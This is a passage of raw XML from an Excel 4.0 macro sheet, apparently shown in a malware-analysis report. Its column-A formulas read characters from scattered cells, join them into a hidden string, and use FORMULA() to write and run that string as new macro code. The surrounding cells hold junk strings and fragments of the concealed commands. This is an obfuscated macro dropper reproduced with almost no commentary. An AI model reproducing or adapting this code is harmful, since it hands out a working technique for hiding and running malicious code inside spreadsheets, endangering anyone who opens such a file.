t="str"><f>"pm8phTCkcY"</f><v>pm8phTCkcY</v></c><c r="T65" t="str"><f>"zTi1cVibu"</f><v>zTi1cVibu</v></c><c r="U65" t="str"><f>"tIbudoy"</f><v>tIbudoy</v></c><c r="W65" t="str"><f>"EEqCT8zVZp"</f><v>EEqCT8zVZp</v></c><c r="Z65" t="str"><f>"SqADpVQ9"</f><v>SqADpVQ9</v></c></row><row r="66" spans="1:26" x14ac:dyDescent="0.25"><c r="A66"><f>MIN(524,-419)</f><v>-419</v></c><c r="D66" t="str"><f>""","</f><v>",</v></c><c r="E66" t="str"><f>""", "</f><v xml:space="preserve">", </v></c><c r="I66" t="str"><f>")"</f><v>)</v></c><c r="J66" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="P66" t="str"><f>"bal"</f><v>bal</v></c><c r="T66" t="str"><f>")+"</f><v>)+</v></c><c r="U66" t="str"><f>"ef"</f><v>ef</v></c><c r="W66" t="str"><f>"1-"</f><v>1-</v></c><c r="Z66" t="str"><f>"SREF"</f><v>SREF</v></c></row><row r="67" spans="1:26" x14ac:dyDescent="0.25"><c r="D67" t="str"><f>"qsywzeJQ5X"</f><v>qsywzeJQ5X</v></c><c r="E67" t="str"><f>"XIW1vn1"</f><v>XIW1vn1</v></c><c r="I67" t="str"><f>"cVoJbBK7"</f><v>cVoJbBK7</v></c><c r="P67" t="str"><f>"rek8dji"</f><v>rek8dji</v></c><c r="T67" t="str"><f>"U9Cqkxl"</f><v>U9Cqkxl</v></c><c r="U67" t="str"><f>"JMiIXE0s"</f><v>JMiIXE0s</v></c><c r="W67" t="str"><f>"ujMNv"</f><v>ujMNv</v></c><c r="Z67" t="str"><f>"mKPCjvnDf"</f><v>mKPCjvnDf</v></c></row><row r="68" spans="1:26" x14ac:dyDescent="0.25"><c r="A68" t="b"><f bx="1">xMkaRtcj=xMkaRtcj+2</f><v>0</v></c><c r="D68" t="str"><f>"""2J"</f><v>"2J</v></c><c r="E68" t="str"><f>"""R"</f><v>"R</v></c><c r="I68" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="P68" t="str"><f>"timo"</f><v>timo</v></c><c r="T68" t="str"><f>"1"</f><v>1</v></c><c r="U68" t="str"><f>"erri"</f><v>erri</v></c><c r="W68" t="str"><f>"lau"</f><v>lau</v></c><c r="Z68" t="str"><f>"("""</f><v>("</v></c></row><row r="69" spans="1:26" x14ac:dyDescent="0.25"><c r="A69" t="e"><f>ASC(OFFSET($C$50,xMkaRtcj,tMJsuqp))</f><v>#NAME?</v></c><c r="D69" t="str"><f>"Fd4Xn10Jb"</f><v>Fd4Xn10Jb</v></c><c r="E69" t="str"><f>"NWpBQS"</f><v>NWpBQS</v></c><c r="P69" t="str"><f>"sarUE5laXy"</f><v>sarUE5laXy</v></c><c r="T69" t="str"><f>"RRQm25v8"</f><v>RRQm25v8</v></c><c r="U69" t="str"><f>"gwXzKL"</f><v>gwXzKL</v></c><c r="W69" t="str"><f>"rUgSVTBu"</f><v>rUgSVTBu</v></c><c r="Z69" t="str"><f>"t85Mt"</f><v>t85Mt</v></c></row><row r="70" spans="1:26" x14ac:dyDescent="0.25"><c r="A70" t="e"><f>IF($A$69="bQjyronhDr",SET.NAME("xMkaRtcj",101),SET.NAME("DSjut",DSjut&$A$69))</f><v>#NAME?</v></c><c r="D70" t="str"><f>"RJ"</f><v>RJ</v></c><c r="E70" t="str"><f>"107"</f><v>107</v></c><c r="P70" t="str"><f>"re,t"</f><v>re,t</v></c><c r="T70" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="U70" t="str"><f>"ng"</f><v>ng</v></c><c r="W70" t="str"><f>"gh)"</f><v>gh)</v></c><c r="Z70" t="str"><f>"R[""&"</f><v>R["&</v></c></row><row r="71" spans="1:26" x14ac:dyDescent="0.25"><c r="D71" t="str"><f>"LR9lFaOv"</f><v>LR9lFaOv</v></c><c r="E71" t="str"><f>"Ajjq9RA7"</f><v>Ajjq9RA7</v></c><c r="P71" t="str"><f>"Duen1z2Lt"</f><v>Duen1z2Lt</v></c><c r="U71" t="str"><f>"QADqd7"</f><v>QADqd7</v></c><c r="W71" t="str"><f>"PxMed"</f><v>PxMed</v></c><c r="Z71" t="str"><f>"eQJxm"</f><v>eQJxm</v></c></row><row r="72" spans="1:26" x14ac:dyDescent="0.25"><c r="D72" t="str"><f>"RR#"</f><v>RR#</v></c><c r="E72" t="str"><f>"C1"")"</f><v>C1")</v></c><c r="P72" t="str"><f>"rou"</f><v>rou</v></c><c r="U72" t="str"><f>")"</f><v>)</v></c><c r="W72" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="Z72" t="str"><f>"(t"</f><v>(t</v></c></row><row r="73" spans="1:26" x14ac:dyDescent="0.25"><c r="D73" t="str"><f>"wVL71Vs"</f><v>wVL71Vs</v></c><c r="E73" t="str"><f>"SK1cvKH"</f><v>SK1cvKH</v></c><c r="P73" t="str"><f>"HKfD2"</f><v>HKfD2</v></c><c r="U73" t="str"><f>"oCExMWCW"</f><v>oCExMWCW</v></c><c r="Z73" t="str"><f>"ur3cy2N"</f><v>ur3cy2N</v></c></row><row r="74" spans="1:26" x14ac:dyDescent="0.25"><c r="A74" t="b"><f>NEXT()</f><v>0</v></c><c r="D74" t="str"><f>""",4"</f><v>",4</v></c><c r="E74" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="P74" t="str"><f>"t+h"</f><v>t+h</v></c><c r="U74" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="Z74" t="str"><f>"ro"</f><v>ro</v></c></row><row r="75" spans="1:26" x14ac:dyDescent="0.25"><c r="D75" t="str"><f>"idzfRRNlN"</f><v>idzfRRNlN</v></c><c r="P75" t="str"><f>"kTPdRuHW"</f><v>kTPdRuHW</v></c><c r="Z75" t="str"><f>"K8Ayd"</f><v>K8Ayd</v></c></row><row r="76" spans="1:26" x14ac:dyDescent="0.25"><c r="A76" t="b"><f>SUM(1,2)=(((((FORMULA(DSjut,OFFSET($A$82,tMJsuqp-1,0)))))))</f><v>0</v></c><c r="D76" t="str"><f>",,2"</f><v>,,2</v></c><c r="P76" t="str"><f>"er"</f><v>er</v></c><c r="Z76" t="str"><f>"ut-1"</f><v>ut-1</v></c></row><row r="77" spans="1:26" x14ac:dyDescent="0.25"><c r="D77" t="str"><f>"q3jbJ"</f><v>q3jbJ</v></c><c r="P77" t="str"><f>"u1Wy8"</f><v>u1Wy8</v></c><c r="Z77" t="str"><f>"FFM30Rs"</f><v>FFM30Rs</v></c></row><row r="78" spans="1:26" x14ac:dyDescent="0.25"><c r="A78" t="b"><f>NEXT()</f><v>0</v></c><c r="D78" t="str"><f>",10"</f><v>,10</v></c><c r="P78" t="str"><f>"oes"</f><v>oes</v></c><c r="Z78" t="str"><f>")&"</f><v>)&</v></c></row><row r="79" spans="1:26" x14ac:dyDescent="0.25"><c r="D79" t="str"><f>"Ga72oD9Vm"</f><v>Ga72oD9Vm</v></c><c r="P79" t="str"><f>"W5MOxYOSoS"</f><v>W5MOxYOSoS</v></c><c r="Z79" t="str"><f>"AN3fO"</f><v>AN3fO</v></c></row><row r="80" spans="1:26" x14ac:dyDescent="0.25"><c r="D80" t="str"><f>"0,20"</f><v>0,20</v></c><c r="P80" t="str"><f>",,,"""</f><v>,,,"</v></c><c r="Z80" t="str"><f>"""]C["</f><v>"]C[</v></c></row><row r="81" spans="4:26" x14ac:dyDescent="0.25"><c r="D81" t="str"><f>"d4s1k"</f><v>d4s1k</v></c><c r="P81" t="str"><f>"SfRlmifDR"</f><v>SfRlmifDR</v></c><c r="Z81" t="str"><f>"WTVTn1XZ"</f><v>WTVTn1XZ</v></c></row><row r="82" spans="4:26" x14ac:dyDescent="0.25"><c r="D82" t="str"><f>"0)"</f><v>0)</v></c><c r="P82" t="str"><f>"She"</f><v>She</v></c><c r="Z82" t="str"><f>"0]"""</f><v>0]"</v></c></row><row r="83" spans="4:26" x14ac:dyDescent="0.25"><c r="D83" t="str"><f>"muRnyy"</f><v>muRnyy</v></c><c r="P83" t="str"><f>"m3GbHfSj"</f><v>m3GbHfSj</v></c><c r="Z83" t="str"><f>"MWjI9S"</f><v>MWjI9S</v></c></row><row r="84" spans="4:26" x14ac:dyDescent="0.25"><c r="D84" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="P84" t="str"><f>"et1"</f><v>et1</v></c><c r="Z84" t="str"><f>",fro"</f><v>,fro</v></c></row><row r="85" spans="4:26" x14ac:dyDescent="0.25"><c r="P85" t="str"><f>"pobJSjq"</f><v>pobJSjq</v></c><c r="Z85" t="str"><f>"Zmdliukb"</f><v>Zmdliukb</v></c></row><row r="86" spans="4:26" x14ac:dyDescent="0.25"><c r="P86" t="str"><f>"""))"</f><v>"))</v></c><c r="Z86" t="str"><f>"ntie"</f><v>ntie</v></c></row><row r="87" spans="4:26" x14ac:dyDescent="0.25"><c r="P87" t="str"><f>"nNLgd"</f><v>nNLgd</v></c><c r="Z87" t="str"><f>"I2KWAH"</f><v>I2KWAH</v></c></row><row r="88" spans="4:26" x14ac:dyDescent="0.25"><c r="P88" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c><c r="Z88" t="str"><f>"r))"</f><v>r))</v></c></row><row r="89" spans="4:26" x14ac:dyDescent="0.25"><c r="Z89" t="str"><f>"Owgne"</f><v>Owgne</v></c></row><row r="90" spans="4:26" x14ac:dyDescent="0.25"><c r="Z90" t="str"><f>"bQjyronhDr"</f><v>bQjyronhDr</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.